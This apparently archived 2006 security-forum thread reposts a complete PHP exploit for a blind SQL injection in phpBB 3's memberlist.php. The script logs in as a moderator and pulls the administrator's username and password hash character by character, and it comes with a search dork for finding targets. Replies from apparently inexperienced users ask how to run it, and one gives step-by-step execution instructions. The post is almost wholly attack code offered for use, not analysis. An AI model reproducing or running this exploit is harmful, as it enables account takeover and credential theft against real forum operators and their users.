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IT Security and Insecurity Portal |
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PHPBB 3 Memberlist.PHP SQL Injection Vulnerability |
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 Posted: Sat Jul 15, 2006 12:36 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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Original info:
http://www.securityfocus.com/bid/18969/exploit
http://www.securityfocus.com/data/vulnerabilities/exploits/phpBB3MemberlistSQLInjUuly132006.php
| Code: |
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosure\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork, version specific: \"Powered by phpBB * 2002, 2006 phpBB Group\"\n\n";
/*
works regardless of php.ini settings
you need a global moderator account with "simple moderator" role
*/
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to phpbb3\n";
echo "user/pass: u need a valid user account with global moderator rights\n";
echo "Options:\n";
echo " -T[prefix] specify a table prefix different from default (phpbb_)\n";
echo " -p[port]: specify a port other than 80\n";
echo " -P[ip:port]: specify a proxy\n";
echo " -u[number]: specify a user id other than 2 (admin)\n";
echo " -x: disclose table prefix through error messages\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u\r\n";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="PHPBB_";
$user_id="2";//admin
$discl=0;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
$user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-x")
{
$discl=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data="username=".urlencode($user);
$data.="&password=".urlencode($pass);
$data.="&redirect=index.php";
$data.="&login=Login";
$packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n";
$packet.="Referer: http://$host$path/ucp.php?mode=login\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if (eregi("_u=1;",$cookie))
{
//echo $html."\n";//debug
//die("Unable to login...");
}
echo "cookie -> ".$cookie."\r\n";
if ($discl)
{
$sql="'suntzuuuuu";
echo "sql -> ".$sql."\n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." \r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"You have an error in your SQL syntax"))
{
$temp=explode("posts",$html);
$temp2=explode(" ",$temp[0]);
$prefix=strtoupper($temp2[count($temp2)-1]);
echo "prefix -> ".$prefix."\n";sleep(2);
}
}
$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
echo "sql -> ".$sql."\n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." \r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
echo "sql -> ".$sql."\n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie." \r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
$j++;
}
echo "--------------------------------------------------------------------\r\n";
echo "admin -> ".$admin."\r\n";
echo "password (md5) -> ".$password."\r\n";
echo "--------------------------------------------------------------------\r\n";
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>
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Not tested ... |
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| Posted: Sun Jul 30, 2006 6:00 pm |
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| Joez |
| Beginner |
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| Joined: Jul 30, 2006 |
| Posts: 2 |
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| I get "Can't exec /usr/bin/php at hack.pl line 1" once I execute it. Help is appreciated. |
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| Posted: Sun Jul 30, 2006 8:51 pm |
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| zer0-c00l |
| Advanced user |
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| Joined: Jun 25, 2004 |
| Posts: 72 |
| Location: BRAZIL! |
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| Joez wrote: | | I get "Can't exec /usr/bin/php at hack.pl line 1" once I execute it. Help is appreciated. |
LOL 
it isn't perl. |
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| Posted: Sun Jul 30, 2006 9:47 pm |
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| Joez |
| Beginner |
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| Joined: Jul 30, 2006 |
| Posts: 2 |
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| So how do I execute it? Do I need to user Active perl? Or do I just upload it on my server? |
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| Posted: Sun Jul 30, 2006 11:38 pm |
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| WaterBird |
| Active user |
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| Joined: May 16, 2005 |
| Posts: 37 |
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| Joez wrote: | | So how do I execute it? Do I need to user Active perl? Or do I just upload it on my server? |
Use linux.
In console.
jed ./test
copy all script
save script
chmod u+x ./test
./test
But.. "you need a global moderator account with "simple moderator" role" thats what bothers me  Thx waraxe for posting. |
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